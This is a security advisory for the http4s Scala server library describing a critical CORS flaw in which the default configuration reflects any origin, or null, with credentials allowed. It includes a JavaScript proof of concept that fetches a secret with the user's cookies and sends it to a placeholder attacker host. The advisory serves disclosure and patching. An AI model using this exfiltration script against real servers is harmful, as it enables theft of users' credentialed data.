GitHub Security Advisory: GHSA-52cf-226f-rhr6
Package: org.http4s:http4s-server_2.12 (MAVEN)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: >= 0.22.0, < 0.22.3
Patched in: 0.22.3

Summary: Default CORS config allows any origin with credentials

Details:
### Impact

#### Origin reflection attack

The default CORS configuration is vulnerable to an origin reflection attack.  Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:

```scala
val routes: HttpRoutes[F] = HttpRoutes.of {
  case req if req.pathInfo === "/secret" =>
    Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)
```

The following request is made to our server:

```http
GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...
```

When the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting.  Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:

```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true 
Content-Type: text/plain

p4ssw0rd
```

A malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`:

```javascript
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable.example.org/secret',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//bad-people.example.org/log?key='+this.responseText; 
};
```

#### Null origin attack

The middleware is also susceptible to a Null Origin Attack.  A user agent may send `Origin: null` when a request is made from a sandboxed iframe.  The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.

### Patches

The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25.  The original `CORS` implementation and `CORSConfig` are deprecated.  In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:

### Migration

The `CORS` object exposes a default `CORSPolicy` via `CORS.policy`.  This can be configured with various `with*` methods, like any http4s builder.  Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:

```scala
val routes: HttpRoutes[F] = ???
val cors = CORS.policy
  .withAllowOriginAll
  .withAllowCredentials(false)
  .apply(routes)
```

### Workarounds

It is possible to be safe in unpatched versions, but note the following defects exist:

* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.
* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.
* Does not send `Vary: Access-Control-Request-Headers` on preflig